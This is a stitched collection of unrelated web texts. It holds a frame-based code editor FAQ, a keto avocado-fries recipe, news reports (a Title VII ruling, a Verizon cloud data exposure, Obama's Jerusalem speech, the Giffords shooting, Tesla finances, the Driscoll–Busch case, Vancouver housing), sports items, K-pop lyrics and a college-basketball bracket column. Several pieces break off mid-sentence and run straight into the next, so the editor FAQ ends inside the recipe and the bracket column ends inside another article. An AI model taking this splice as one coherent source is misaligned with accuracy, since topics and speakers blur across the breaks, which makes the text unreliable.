One of the big drawbacks of block-based editors is that program entry can become quite tedious, because you have to drag and drop everything. For example, here is how you writein Scratch -- primarily by dragging:In our frame-based editor, this can be entered entirely with keys:as follows:Frame-based editing gives you the advantages of easy manipulation for larger frames, without getting fiddly while editing expressions.
Yes -- and Scratch is great for absolute beginners. But as students become more proficient and turn into intermediate or expert programmers, block-based systems become quite limiting. It is hard to manage and manipulate larger programs, and program entry becomes tedious, with too much dragging needed even for simple expressions like x=1+2. Frame-based editing makes a natural follow-on to block-based editing, via two key differences: we do not use blocks at the lowest levels of the program, and we have support for keyboard entry throughout.
One of the initial struggles in programming is mastering syntax; remembering the keywords and brackets (or indents in Python), entering them correctly, and not messing them up when editing. Teachers will know that students left alone with code will randomly delete curly brackets and destroy indentation -- but frame-based editing doesn't lumber them with curly bracket or indent management.
For Experts
What's the main selling point of frame-based editing for expert programmers?
if (b) { } That's ten keypresses in all. In our editor, that is done with just three: ib To produce the same code: Programming is a mix of planning, navigation, and code writing/manipulation. Frame-based editing can speed up the last item. We've seen already how elements can be moved around easily. Program insertion is also faster. Consider writing an if statement in a text editor:That's ten keypresses in all. In our editor, that is done with just three:To produce the same code:
Isn't this an unfair comparison? Some IDEs have template insertions to do a similar thing.
IDEs do have these templates (although I wonder how many programmers actually use them?). But it's still more keypresses, e.g. in Eclipse it's still Ctrl + Space if b -- 7 keypresses. Frames also have the advantage that you can't accidentally mess up the syntax afterwards. These templates show that writing individual text elements makes no sense when they follow an easy template; but why allow users to edit the "if" text afterwards?
Aren't many of your features already present in professional IDEs?
In the method return type, types are offered. The method name offers overridable methods from the parent class (though we don't choose one). The parameter type offers types. (The parameter name offers no completions.) The method call frame offers method names. The catch type offers only Throwable and its subtypes. Yes -- but one interesting difference is that they are much easier to implement in frame-based editing. If you want to offer code completion based on the current location in the source code, you have do a lot of parsing to figure out where you are, and it becomes much harder when |
be enjoyed by anyone. They have the same crispy outside and soft inside as regular french fries! The difference? The carb count! Dipped in egg and almond meal, every bit of this delicious snack is full of fat and is very keto-friendly.
We used spicy mayo (sriracha and mayonnaise- more healthy fat!) as our dipping sauce, but feel free to use other condiments like cilantro lime dip or sriracha garlic dip. This time we fried our avocado fries, but you can also bake them! It’ll take a bit longer (15 minutes at 450°F) but if you prefer baking over the awesomeness of deep frying, it’s totally cool. We won’t be upset. Really. Not at all! Just a little disappointed. 😉
Please read some helpful tips for deep frying at home! Some more here too.
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Let’s make some avocado fries!
Avocado Fries Votes: 83
Rating: 4.04
You: Rate this recipe! Print Recipe Macros per serving:
• 587 Calories
• 51g of Fat
• 17g of Protein
• 8g of Carbs
Serves 3 servings Prep Time 10 minutes Cook Time 5 minutes Serves 3 servings Prep Time 10 minutes Cook Time 5 minutes Avocado Fries Votes: 83
Rating: 4.04
You: Rate this recipe! Print Recipe Macros per serving:
• 587 Calories
• 51g of Fat
• 17g of Protein
• 8g of Carbs
Serves 3 servings Prep Time 10 minutes Cook Time 5 minutes Serves 3 servings Prep Time 10 minutes Cook Time 5 minutes Servings: servings Ingredients Fries 3 avocados
1 egg
1 1/2 cups almond meal
1 1/2 cups sunflower oil
1/4 tsp cayenne pepper
1/2 tsp salt Spicy Mayo 2 tbsp homemade mayonnaise
1 tsp sriracha Instructions Break an egg into a bowl and beat it. In another bowl, mix your almond meal with some salt and cayenne pepper. Slice each avocado in half and take out the seed. Peel off the skin off every half. Slice each avocado vertically into 4 or 5 pieces (depending on the size of the avocado). Start heating your deep fryer (or deep pan with lots of oil) to about 350°F. If you don’t have a cooking thermometer, try sticking a wooden spoon into the oil when it’s been heating for about 7-8 minutes. If bubbles arise from the spoon, your oil is hot enough for deep frying! Coat each slice of avocado in the egg. Roll each coated slice in the almond meal until you can barely see the green. Carefully lower each avocado slice into the deep fryer (or pan) to avoid splashing. It will hurt! Allow each piece to fry from 45 seconds to a minute until a light brown. Dark brown means they’ve been in there a few seconds too long. Transfer quickly to a plate lined with a paper towel to soak up the excess oil. Mix some sriracha sauce and mayonnaise and get to munching! Tasteaholics, Inc. is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.
Loved this recipe? Let us know! Something didn’t quite turn out right? Ask us in the comments below or contact us– we respond to comments every day and would love to hear from you and help you out! And check out all our keto recipes to learn to make more delicious and healthy meals that take no time to prepare!
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In 1989, for instance, the Supreme Court said discrimination against workers because they did not conform to gender stereotypes was a form of sex discrimination. Being a lesbian, Judge Wood wrote, “represents the ultimate case of failure to conform to the female stereotype (at least as understood in a place such as modern America, which views heterosexuality as the norm and other forms of sexuality as exceptional).”
In dissent, Judge Diane S. Sykes said the majority had overreached. “It’s understandable that the court is impatient to protect lesbians and gay men from workplace discrimination without waiting for Congress to act,” she wrote. “Legislative change is arduous and can be slow to come. But we’re not authorized to amend Title VII by interpretation.”
The Seventh Circuit’s ruling in April created a split among the federal appeals courts, and such disagreements often prompt the Supreme Court to step in. But the defendant in the case, an Indiana community college, quickly announced that it would not appeal.
Legal experts said it was only a matter of time until the Supreme Court addressed the issue.
“The odds that the Supreme Court grants review of this question in the near future are high,” Joshua Matz wrote in April on Take Care, a legal blog. “It is no exaggeration to say that Title VII’s application to gays and lesbians now ranks among the most important open questions in U.S. civil rights law.”
The next case is now on the horizon. It concerns Jameka Evans, who says a Georgia hospital discriminated against her because she is a lesbian. In March, a divided three-judge panel of the 11th Circuit, in Atlanta, ruled that Title VII did not cover discrimination based on sexual orientation.
Gregory R. Nevins, a lawyer with Lambda Legal who represents Ms. Evans, chose his words carefully in discussing whether the odds of winning at the Supreme Court would dim if Justice Kennedy retired.
“We think we have good reasons for optimism with the current composition of the court,” he said. “You always want the setup that you feel comfortable with, rather than any variation of it.”My snack santa surpassed my expectations and surprised me with the most delicious LOCAL snacks that I tried right away. I put a specific list of boring every day snacks, and then when I looked at the gallery, I wished I put down that I was interested in local snacks. GUESS WHAT!?!? My snack santa did just that and more! AMAZING. I am so happy, thank you Snack Santa. Not only did they tape up the package with pretty purple tape. They packed it with the following Amish Cheese House Snacks HOMEMADE FUDGE Chewy Praline, Rocky Road and a few other flavors, Assorted Fruit Twists, Mini Toffee Pretzels, & Gummi Beeps Bright Bears. I appreciate you sharing some amazing treats from the Amish Cheese House with me. You are my SNACK HERO!Team GB launches its new kit for the Rio 2016 Olympic Games, featuring a unique coat of arms and the Union Jack design
To mark 100 days to go until the Rio 2016 Olympic Games, Team GB launched its newly designed kit, with Lizzie Armitstead, Laura Trott and Becky James on hand to model the cycling attire.
Designed by Stella McCartney, the bold new Adidas kit features a new and unique British coat of arms over the top of the red, white and blue Union Jack and will be work by all Olympic and Paralympic athletes.
For Armitstead and the road cyclists, the kit will be predominantly white on the top half with dark blue shorts, while the track team will sport navy skinsuits.
Lizzie Armitstead describes her preparations for Rio 2016
100 days to go! And there we have it our @adidasuk olympic kit #british A post shared by Laura Kenny (@laurakenny31) on Apr 27, 2016 at 3:02am PDT
>>> 100 days to go until Rio 2016 Olympic Games: Who will be riding for Team GB?
Team GB and Adidas claim that the new kits will be, on average, 10 per cent lighter than the ones used in London 2012, which apparently helps the athletes go “further and faster” – completing two of the three aspects of the Olympic motto.
The full team for the Rio Olympics will reportedly be announced by British Cycling in July.Written by Patrick Howell O'Neill
Stop us if you’ve heard this before: Sensitive data was left publicly exposed on an Amazon Web Services S3 storage server owned by a billion-dollar corporation.
This time the offender is Verizon Wireless who left data including server logs and internal credentials exposed, according to Kromtech Security Research Center.
“Although no customers data are involved in this data leak, we were able to see files and data named ‘VZ Confidential’ and ‘Verizon Confidential’, some of which contained usernames, passwords and these credentials could have easily allowed access to other parts of Verizon’s internal network and infrastructure,” Bob Diachenko, a Kromtech executive, explained in a statement. “Another folder contained 129 Outlook messages with internal communications within Verizon Wireless domain, again, with production logs, server architecture description, passwords and login credentials.”
The leak, first reported by ZDNet, is the latest in a long march of 2017 exposures highlighting just how easy it is for enterprises to leave sensitive data open in the cloud. Earlier this week, it was Viacom leaving master keys exposed. Earlier this year, researchers found 200 million registered voters’ data exposed on a public server and 60,000 Pentagon files exposed on a mistakenly public Booz Allen Hamilton server.
Two of the biggest recent finds include 14 million Verizon customers and 1.5 million customer records mistakenly exposed from Verizon Enterprise Solutions.
“An improperly configured S3 can lead to viewing, uploading, modifying, or deleting S3 objects by third parties,” Alex Kernishniuk, vice president at Kromtech, said. “To prevent S3 data loss or exposure and unexpected charges on your AWS bill, you need to grant access only to trusted entities by implementing the appropriate access policies recommended in this conformity rule. Bruteforce tools are already scanning all possible bucket names, analyzing configurations letter by letter and getting closer to your information every minute.”
The problem goes even deeper: about 175,000 misconfigured cloud software and services were spotted this year alone by the cybersecurity nonprofit GDI Foundation.
“Given the high number of incidents involving exposed S3 buckets that we have seen in the past few months, it is baffling that every organization is not carefully looking into the configurations and exposure levels of their storage in the cloud,” Zohar Alon, CEO at the cybersecurity firm Dome9, said. “Protecting data in the cloud from accidental exposure and theft is a business priority.”
Amazon launched a product last month called Macie designed to alert users to misconfigurations and security risks.
“Companies need to be held highly accountable for their lack of security on the public cloud,” Alon said. “The public cloud needs a united front on security with regular configuration checks and balances – where public cloud providers, third party tools with advanced features, and a governing body all work together in order to ensure corporate and consumer data stays safe and out of the reach of hackers.”
Verizon did not respond to a request for comment.President Obama speaks in Jerusalem. (MANDEL NGAN/AFP/Getty Images)
President Obama gave a lengthy speech in Jerusalem on Thursday, where he discussed the prospects for peace between Israelis and Palestinians. The speech has been compared to his 2009 address in Cairo, both as a break from typical American rhetoric and as an appeal made directly to the people of the Middle East.
Obama's speech began with the expected points: He reiterated Israelis' connection to the land of Israel (a point he had neglected to make, to much criticism, years earlier when he explained the creation of the state as a response to the holocaust), emphasized the "unbreakable" alliance between the United States and Israel and discussed what the United States is doing to work with Israel against shared security concerns. But then he said something that was not as expected.
"But make no mistake: those who adhere to the ideology of rejecting Israel’s right to exist might as well reject the earth beneath them and the sky above, because Israel is not going anywhere. Today, I want to tell you – particularly the young people – that so long as there is a United States of America, Ah-tem lo lah-vahd.
"The question, then, is what kind of future Israel will look forward to. And that brings me to the subject of peace."
This is the big set-up. Obama here is moving away from the traditional dynamic in Israel of peace-versus-security. This dynamic will almost always lead any state to privilege security first. Obama led up to this line with several paragraphs on America's support for Israel and their two countries' combined ability to defend against the very real threats in the region, helping him to frame the security of Israel's existence as a given. This, of course, is one of the reasons that U.S. support for Israel, however much it frustrates critics of Israel and its occupation, is so important.
The more credibly that the United States can guarantee Israel's security, the greater freedom that grants Israel to assume its own safety. And that gives the country space to put down the old question of "Can we survive?", which inevitably leads it to emphasize security, and start to ask, "Now that we know we have a future, what do we want that future to look like?" That's a very different conversation, which might be why Obama is aiming it at Israeli youth, who are less likely to remember the wars of 1967 and 1973.
Obama is re-framing that old issue, and his speech, as a shift away from the old debate about what Israel has to do in order to keep its state, a debate grounded in decades of war, to the conversation Obama wants to have: If the U.S. can help Israel to assume that it will keep its state, then what sort of state does it want?
The answer for Israelis, of course, is that they want a Jewish democracy. That sets up Obama to argue, as others have done, that Israel can't be Jewish and democratic if it continues to place the Palestinians under occupation.
"Given the demographics west of the Jordan River, the only way for Israel to endure and thrive as a Jewish and democratic state is through the realization of an independent and viable Palestine."
Israel was founded as a Jewish democracy. Israel-watchers (yes, on the political left and right) have long warned that, as the Palestinian population grows in the West Bank, Israel is going to face a major dilemma. Either it grants those Palestinians political rights, at which point Israel will become a less and less Jewish state by dint of Jews' shrinking share of the population, or it denies them political rights, at which point it would no longer seem to be fully democratic.
"Only you can determine what kind of democracy you will have.... There will always be a reason to avoid risk, and there’s a cost for failure. There will always be extremists who provide an excuse to not act. And there is something exhausting about endless talks about talks; the daily controversies, and grinding status quo."
Obama spends a lot of time acknowledging that Israel has made "credible proposals" for peace and that it has been frustrated by the negotiating process, but he also underscores the idea of Israeli ownership over the outcome of the peace process. Arguments that, for example, Israel lacks a "credible negotiating partner," whatever their merit, feed into narratives that Israel should wait for peace to brought to it rather than actively seek it out.
"As more governments respond to popular will, the days when Israel could seek peace with a handful of autocratic leaders are over. Peace must be made among peoples, not just governments."
Part of this argument is about citing a new impetus for seeking peace, which is new in that it's a new argument but not new in that there have always been reasons to seek peace. What's more meaningfully different here is the idea of not just negotiating with Palestinian or other Arab leaders, but in actually addressing the underlying needs and interests of Palestinian people. That's harder work, but more likely to lead to a self-sustaining peace.
"Speaking as a politician, I can promise you this: political leaders will not take risks if the people do not demand that they do. You must create the change that you want to see."
This is the flip side of the above argument about addressing the needs of Palestinian people: that Israel's effort for peace should be driven by Israeli citizens. In this thinking, not only are negotiations more likely to encompass the needs and interests of Israelis rather than just Israeli leaders (although, in a democracy, these two are supposed to line), but they are more likely to sustain despite the inevitable setbacks. U.S. diplomacy on Israel-Palestine, and maybe U.S. diplomacy in general, has traditionally focused on state-to-state negotiations, but Obama is perhaps hoping that greater Israeli public support for peace talks are going to succeed where State Department lobbying has not.
"Look to the future that you want for your own children – a future in which a Jewish, democratic state is protected and accepted, for this time and for all time.... There will be many voices that say this change is not possible. But remember this: Israel is the most powerful country in this region. Israel has the unshakeable support of the most powerful country in the world. Israel has the wisdom to see the world as it is, but also the courage to see the world as it should be."
Again, Obama is here attempting to refocus Israel's efforts to safeguard its own future, implying that the fight for basic security is largely won*, but that the country must now channel its self-preservation energies toward the more long-term but still existential question of whether it can remain a Jewish and democratic state while the Palestinians lack a country of their own. That's his argument and, while it's not a new one, it re-frames a very old conversation about Middle East peace in what are, for this high level of diplomacy, some very different terms.
The lingering question, as after Obama's 2009 speech in Cairo, is whether those new ideas will be followed by new actions.
* This does not mean, of course, that Israel faces no national security threats. Every country faces these, Israel especially. The idea is that the years when Israel faced the very real proposition that it might be destroyed outright are over.Fox News employee Sarah Palin’s violent rhetoric caused concern back in March 2010, when she released a map of the United States with gun crosshairs over 20 congressional districts, including Arizona’s eighth.
The representative for that district, Congresswoman Gabrielle Giffords (D-AZ), now lays in a hospital after a gunman put a bullet in her head, shooting 18 others before his violent eruption ended.
And in an unsettlingly accurate premonition back when Palin “targeted” Democrats encouraged supporters to “reload” and “take aim” at them, Giffords predicted that there would be “consequences” for the escalation of violent rhetoric in the media.
Her language was also defended by Sen. John McCain (R-AZ), who at the time suggested that using such terms was perfectly fine.
During a March 25th broadcast of MSNBC’s “The Daily Rundown,” Giffords differed, substantially.
“The thing is, the way that she has it depicted — the crosshairs of a gun sight over our district — when people do that, they’ve got to realize that there’s consequences for that action,” she said.
Her sentiment then was echoed by Pima County Sheriff Clarence Dupnik at a press conference on Saturday, where he called for “people in the radio business and some people in the TV business” to town dow their level of outrage.
“I think it’s the vitriolic rhetoric that we hear day in and day out from people in the radio business and some people in the TV business and what we see on TV and how our youngsters are being raised, that … This has not become the nice United States that most of us grew up in, and I think it’s time that we do the soul searching,” he said.
“It’s not unusual for all public officials to get threats constantly, myself included,” Dupnik added. “That’s the sad thing about what’s going on in America: pretty soon we’re not going to be able to find reasonable decent people willing to subject themselves to serve in public office.”
“My sincere condolences are offered to the family of Rep. Gabrielle Giffords and the other victims of today’s tragic shootings in Arizona,” Palin wrote Saturday. “On behalf of Todd and my family, we all pray for the victims and their families, and for peace and justice.”
The gunman, identified as 22-year-old Arizona resident Jared Lee Loughner, was in police custody Saturday night and allegedly posted a revolutionary screed on the Internet describing his opposition to the world’s currency systems and an objection to government control of English language rules, among other things.
This video is from MSNBC, broadcast March 25, 2010.Get the biggest politics stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Amsterdam is well known for its liberal drugs policy - and now a youth group is to open an ecstasy shop.
The Dutch Liberal Democrats youth wing said they were launching the unusual venture to highlight the need for regulation of the party drug, rather than prohibition.
The shop, which will only distribute placebo pills, will open in the city centre Rosmarijnsteeg at 11am on Monday.
The group's aspiration is to legally regulate the distribution of MDMA instead of it being left in the hands of street dealers and drug gangs.
(Image: Google Maps)
Their website MDMJA.nl, said: "We can prevent minors from buying, make sure there is no overdose in pills and educate people on ways to minimise the risks involved with ecstasy use."
The shop will only open for one day with the intention to open up a debate about the decriminalisation of MDMA to the Dutch parliament.
The group need 40,000 signatures on a petition to bring the issue up for debate.Inter Milan president Erick Thohir has assured coach Walter Mazzarri that his job is safe.
Inter are fifth in Serie A but only four points ahead of 10th-placed Lazio, who they face on Saturday.
Some Inter fans are unhappy with Mazzarri and called for him to be sacked after the 1-0 defeat by fierce rivals AC Milan on 4 May.
But Thohir said: "Mazzarri is staying. He still has a contract and I want to respect that."
Italian Mazzarri has been in charge at Inter since May 2013, with Indonesian businessman Thohir assuming control of the club five months later.
Thohir said: "I understand the fans. I'm not happy either but we need to give the manager a chance. It's important that we start next season with some stability in order to grow."
Saturday's match against Lazio will be defender Javier Zanetti's last outing as a player at the San Siro after 19 years with Inter.
The 40-year-old is due to take up an unspecified role within the club next season.TaeTiSeo 'Dear Santa' Lyrics (Korean Version) (English)
TaeTiSeo 'Dear Santa' Lyrics (Korean Version) (Rom)
TaeTiSeo 'Dear Santa' Lyrics (Korean Version) (Hangul)
Dear SantaListen to my storyI'm wanting it desperatelyFor their heart to be the same as mineWhat about us?You and I made my heart flutterHope we'll be a bit closerCome to me todayWhat about us?For us to spend togetherFor a white Christmas to come,I'm waitingLet's go! Come on girls!With a beating heartWearing white clothesUnder the colourful tree lightsTo the sparkling streetsClean bell sounds by my ear, smile with each stepI have a good feeling about todayChristmas time that makes my heart flutterWaiting for Santa all nightThis feeling of greeting a young dayI feel like you will secretly come to meSo I turned around to lookWhat I've been dreaming of every day,I want to receive a confession tonightIn that moment, if white snow fallsIt'll be the Christmas of my imaginationLet's hear it, Santa!Here we go! Come on!Lovely sound of laughter, slight melody on topNight of dancing stars on the streetUnforgettable Christmas timeYou approach me secretly and sweetlyAt the scent that grazes my shoulderOne person who I've been waiting for like a presentI can see youThe moment we shyly stand facing each otherThe two hands you hold outHolding your warm handWe walk together and look at the skyFull in that skyFull in my heartWhite snow is fallingDream-like Christmas timeOh, Christmas timedear Santanae yaegil deureojwoyona ganjeolhage wonhago issjyogeuui mamdo gatgireulWhat about usseolleyeossdeon neowa naijen jogeum deo gakkawojigiloneul naege wajwoyoWhat about usuri hamkke bonaeneunhayan Christmasga ogilgidarigo isseoLet's go Come on girlsdugeungeorineun maeumeurosaehayan oseul ipgoallokdallokhan teuri bulbit araebanjjagineun georirogwisgaen malkeun jongsori georeummada misomanoneureun waenji joheun yegamiseolleneun Christmas timebamsaewo Santareul gidarideoneorin nal majuhan neukkimehoksi geudae mollae ol geot gatadorabogon haeoneulbam maeil kkumkkwoongobaegeul batgo sipeobaro geu sungan huin nuni naerimyeonsangsang sogui Christmas timeLet's hear it SantaHere we go Come onsarangseureon useumsori saljjak eonjeun mellodigeoriui byeori chumeul chuneun bamijji moshal Christmas timemollae dalkomhage dagawanae eokkaereul dudeurin hyanggieseonmulcheoreom gidarin han saramgeudaega boyeosujupge maju seon sungangeudaega naemin du sonttaseuhan geudae soneul japgohamkke georeumyeo haneul barabonijeo haneul gadeukhinae maeum gadeukhihayan nuni naeryeowakkumman gateun Christmas timeOh Christmas timeDear Santa내 얘길 들어줘요나 간절하게 원하고 있죠그의 맘도 같기를What about us설레였던 너와 나이젠 조금 더 가까워지길오늘 내게 와줘요What about us우리 함께 보내는하얀 Christmas가 오길기다리고 있어Let’s go Come on girls두근거리는 마음으로새하얀 옷을 입고알록달록한 트리 불빛 아래반짝이는 거리로귓가엔 맑은 종소리 걸음마다 미소만오늘은 왠지 좋은 예감이설레는 Christmas time밤새워 Santa를 기다리던어린 날 마주한 느낌에혹시 그대 몰래 올 것 같아돌아보곤 해오늘밤 매일 꿈꿔온고백을 받고 싶어바로 그 순간 흰 눈이 내리면상상 속의 Christmas timeLet’s hear it SantaHere we go Come on사랑스런 웃음소리 살짝 얹은 멜로디거리의 별이 춤을 추는 밤잊지 못할 Christmas time몰래 달콤하게 다가와내 어깨를 두드린 향기에선물처럼 기다린 한 사람그대가 보여수줍게 마주 선 순간그대가 내민 두 손따스한 그대 손을 잡고함께 걸으며 하늘 바라보니저 하늘 가득히내 마음 가득히하얀 눈이 내려와꿈만 같은 Christmas timeOh Christmas timeCredits:Sonexstella,MelonOne day after the conclusion of Mayor Rob Ford’s libel trial, Doug Ford brushed off the effect his brother’s legal troubles will have on his chances of re-election, and took a swipe at Olivia Chow.
“Olivia Chow is no Jack Layton,” said Councillor Ford, responding to a recent poll that said the MP and widow of the former NDP leader is the biggest threat to the mayor’s prospects of a second term. Ms. Chow has not said she will run in 2014 but she figures prominently in public opinion research. The latest Forum Research survey showed 40% of respondents would vote for Ms. Chow, 35% would pick Mr. Ford and 13% siding with Councillor Adam Vaughan, with 12% undecided.
And while he said the Ford brothers do not underestimate their opponents, Doug Ford seemed to welcome the prospect of a clear choice on the ballot, adding that Ms. Chow makes David Miller look like a fiscal conservative. “If [Torontonians] want tax and spend government, they’re going to elect Olivia Chow,” he said.
The councillor suggested that when people turn their mind to the next election, they are going to care about their pocketbooks, not court cases, which he maintains are politically motivated. (The mayor is also awaiting the ruling in a conflict of interest case which could see him ousted form office.)
Not that any of it fazes the mayor, according to his brother. “He has skin on him like an alligator.”
The councillor also defended Rob Ford’s comments at the heart of a defamation lawsuit launched by George Foulidis, owner of Tuggs Inc., which was awarded by city council back in 2010 an untendered deal for exclusive vending rights in the Eastern Beach. He said 20-year sole sourced contract “stinks to high heaven,” echoing the mayor’s allegation. “I don’t use the word corrupt. It stinks to high heaven. Absolutely stinks to high heaven,” said Doug Ford.Elon Musk said last week that Tesla Inc. is designing a new sports car that could go from zero to 60 mph in 1.9 seconds. Not bad, but here’s a speed number that investors might want to focus on instead:
Over the past 12 months, the electric-car maker has been burning money at a clip of about US$8,000 a minute (or US$480,000 an hour), Bloomberg data show. At this pace, the company is on track to exhaust its current cash pile on Monday, Aug. 6. (At 2:17 a.m. New York time, if you really want to be precise.)
To be fair, few Tesla watchers expect the cash burn to continue at quite such a breakneck pace, and the company itself says it’s ramping up output of its all-important Model 3, which will bring money in the door. But still, its need for fresh cash came into high relief last week when Musk unveiled his latest plan to raise funds. He’s asking customers to pay him upfront to order vehicles that may not be delivered for years.
The souped-up Roadster will cost buyers a US$250,000 down payment even though it’s not coming for more than two years. That might generate US$250 million; orders for the “founders” Roadster are capped at 1,000. And companies can pre-order electric Semi trucks for US$5,000. They don’t go into production until 2019.
But all this is a pittance compared with Tesla’s financial needs. It’s blowing through more than US$1 billion a quarter thanks to massive investment in making the Model 3, a US$35,000 car that’s looking less likely to generate a return anytime soon.
“Whether they can last another 10 months or a year, he needs money, and quickly,” said Kevin Tynan, senior analyst with Bloomberg Intelligence, who estimates Tesla will be required to raise at least US$2 billion in fresh capital by mid-2018.
Ample money
Tesla has said it has ample money to meet its target of producing 5,000 Model 3 sedans by the end of March. After that date, the company expects to “generate significant cash flows from operating activities,” Tesla said in a Nov. 1 letter to shareholders. Tesla’s capital expenditures should also decline as the company pays off its expenses related to the Model 3, CFO Deepak Ahuja said on a conference call the same day.
Dave Arnold, a spokesman for Palo Alto-based Tesla, declined to elaborate.
Tesla’s options are limited.
It’s already drawing down on more of its revolving credit facilities than ever before. And while the bond market is a possible route, it may not be especially welcoming right now. Investors who bought US$1.8 billion of debt three months ago remain under water even after the notes recovered a bit from a low of 93.88 cents on the dollar early this month.
That may leave selling equity as the most viable option. But that, of course, would dilute existing shareholders, and Musk, at 20 per cent, is the biggest. After hitting a record in September, Tesla’s stock has fallen by 20 per cent.
“So long as the company is burning cash, it will remain dependent on the patience and enthusiasm of public markets or the deep pockets of a white knight,” said Christian Hoffmann, a money manager at Thornburg Investment Management.
–With assistance from Brandon Kochkodin Dana Hull Alec Mikrut and Taka Endo
BloombergNCAA Tournamentapalooza 2016
Dear friends, it’s my honor to welcome you all to NCAA Tournamentapalooza 2016. It’s time for the best month in sports. March Madness is upon us, and I intend to embrace this hallucinogenic fever-dream of a season. I’m all in on the chaos. For the past two years, I’ve not-so-successfully predicted every game in the NCAA Tournament. Third time is the charm, right?
Basketball is my favorite sport, and I favor college basketball to the pros. The quality may not be as high, and the pace may be slower, but there’s something inherently amazing about a group of kids you see in your dining halls, and classrooms battling the country’s elite athletes for eternal glory. Fans are bound together by love for their alma mater, and hatred for their rivals. By the purest form of ecstasy that’s only found in nail-biting wins, and the all-consuming emptiness that haunts losses. A year-long quest will be decided by six games in the Spring, governed by a holy law: survive and advance.
March Madness is like modern day tuberculosis. Everyone you know has it, and the only cure is leeches. Or something like that.
Last year, I climbed up to the highest rooftop, and proclaimed Duke’s superiority for all to hear. Spoiler alert: I was right. Duke rewarded my trust (and took all my winnings — damn you, tuition), and redeemed my bracket-picking skills. This season, unlike the last, was defined not by the gap between the haves and have-nots, but rather by overall parity. Sure, teams like Kansas or North Carolina seem a cut above, but anything can happen in March.
You’ve probably guessed it already, but I feel the need to add a disclaimer here anyway. I am a Duke student. These picks will be subjectively objective. Or something like that. I am all-powerful.
Now that we’ve established my methodology, let’s get to it.
NCAA TOURNAMENTAPALOOZA 2016
Play-In Games:
The NCAA can call them the First Four, or the First Round games, or whatever other names they make up. But you know what that is? It’s facism. Or socialism. Or whatever the pundits and politicians on my television are warning me about. These are the play-in games.
11. Vanderbilt v. 11. Wichita State
The selection committee did well here in putting together a game people will want to watch. Dayton, Ohio is a miserable place, but it’s slightly less miserable now that these two teams are facing off. Truthfully, I’d be happier if St. Mary’s or Monmouth was here instead of Vandy, but I’m just going to have to deal with it. The Shockers have one of the best backcourts in the sport. They move on.
16. Holy Cross v. 16. Southern
¯\_(ツ)_/¯ Holy Cross, I guess?
16. Florida Gulf Coast v. 16. Fairleigh Dickinson
The return of Dunk City will be swift, and ferocious. Who cares if FGCU doesn’t play at all like they did. Think of the nostalgia! Think of the excitement! Think of the people who don’t know who Fairleigh Dickinson was! FGCU wins.
11. Michigan v. 11. Tulsa
Okay, so I’m not thrilled about Michigan’s inclusion in the field, but I get it. They beat Indiana. They made a late season run. Fine. Whatever. But TULSA? REALLY? YOU PICKED 20-11 TULSA OVER KENPOM’S 34TH BEST TEAM ST. MARY’S, OR MONMOUTH, OR HELL, EVEN VALPO? FOR SHAME. WOLVERINES SLASH THE GOLDEN HURRICANE.
One more thing: TULSA IS NOT THE PARIS OF OKLAHOMA.
Round of 64: Game time, y’all
BRING IT ON
The South Region
1. Kansas v. 16. Austin Peay
Kansas is absolutely going to win this game, but I want to use this time to talk about how Austin Peay has the best chant in basketball. I shit you not, their most popular cheer is “Go Peay!” and it’s not even close. What a weird school.
8. Colorado v. 9. Connecticut
That’s weird. Those clouds look pretty ominous. Oh hey, UConn needed a crazy shot to make it out of their conference tournament…and there’s no real great team in college basketball this year. Oh god, THAT’S DANIEL HAMILTON’S MUSIC. They’re going to win the whole damn thing, aren’t they?
5. Maryland v. 12. South Dakota State
A sane person would tell you that Maryland is overrated, and proved that late in the season. Well let me tell you something, internet: they are, and I couldn |
The page is pretty simple, with banner art showing photos of a smiling Dricoll, some huddled soldiers and plenty of American flags. There is also a page for statements from Driscoll and her camp and another titled “PRESS,” which has excerpts and links to various news stories covering the Busch/Driscoll case.
Driscoll’s posted statement pulls no punches, and she makes it clear she won’t be silenced, charges or no.
NASCAR Sprint Cup Team owner wants NASCAR to rule on Kurt Busch Kurt Busch's team owner doesn't know when the suspended driver will be reinstated by NASCAR.But Gene Haas seemed to indicate Sunday that Busch will be back in the No. 41 when he is cleared to...
“At great risk to my personal and professional reputation, I have spoken candidly, at length, and on the record, to a variety of outlets in an effort to correct the distortions and sensationalism that have unfortunately marked the coverage of this painful time in my family’s life,” the statement said. “I would urge anyone covering this case to stick to the well-established facts. Giving further air to baseless and discredited accusations about me does a disservice to the public and reduces a serious matter for law enforcement into tabloid gossip.”
A statement from Driscoll’s attorney, Mark Dycio, is even more scathing.
“Mr. Busch testified in open court that he squeezed Patricia’s face and admitted to police that he slammed her head against the wall in the process,” the statement said. “Given that these admissions establish an assault took place and that investigators recommended Mr. Busch be prosecuted, it seems impossible that the attorney general’s office made this decision on burden of proof grounds.
“It would be unfortunate, and a terrible precedent for victims of abuse, if the prospect of inviting a media circus fueled by Mr. Busch’s wealth, notoriety and hostile PR team in any way swayed this decision.”
It appears that Driscoll is seeking maximum exposure for the site, even going as far as buying advertising on Google to ensure her site showed up at the top of the search engine’s results when someone searched for “Kurt Busch.”
A screen shot showing a Google search of "Kurt Busch." The top result is an ad for Driscoll's new website.
The ad says simply, “Driscoll Speaks Out” and “Setting the record straight on Kurt Busch.”
While, Dricoll and her people have been busy updating their website, Busch has been silent. His official website, KurtBusch.com, hasn't been updated since Feb. 19.
Busch, the 2004 NASCAR Sprint Cup champion, remains suspended by NASCAR, but the racing body has said he would have the opportunity to be reinstated if he met certain conditions.
On her website, Driscoll remains stoic.
“In all future developments in this case, I will continue to stand up for my integrity and for justice,” her statement said. “But for now, I am focused on my family, my friends and my important and gratifying work with the Armed Forces Foundation.”Vancouver Mayor Gregor Robertson is calling on the federal and provincial governments to intervene with measures to cool off the region's scorching real estate market.
The frenzied sales activity within Vancouver's city limits has spilled into the suburbs over the past three years. Record-high prices have been set across the Lower Mainland, including properties in the Fraser Valley.
"These trends are not sustainable and we need to be wide awake to the risks they pose to the stability of our economy, let alone the impact they have in pushing local residents, especially young people, families and seniors, out of our neighbourhoods," Mr. Robertson said in a statement on Sunday.
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He reiterated his call for the provincial government to introduce a speculation tax to discourage houses from being flipped by investors for short-term gains.
Mr. Robertson had raised the idea of such a tax in May, 2015, when housing critics at a Vancouver rally sought to draw more attention to the lack of affordable accommodation, especially for millennials. On Sunday, he said the chorus is growing louder about the impact of soaring real estate prices in the region.
"While adding more housing supply is crucial, it is not an affordability solution on its own," Mr. Robertson said.
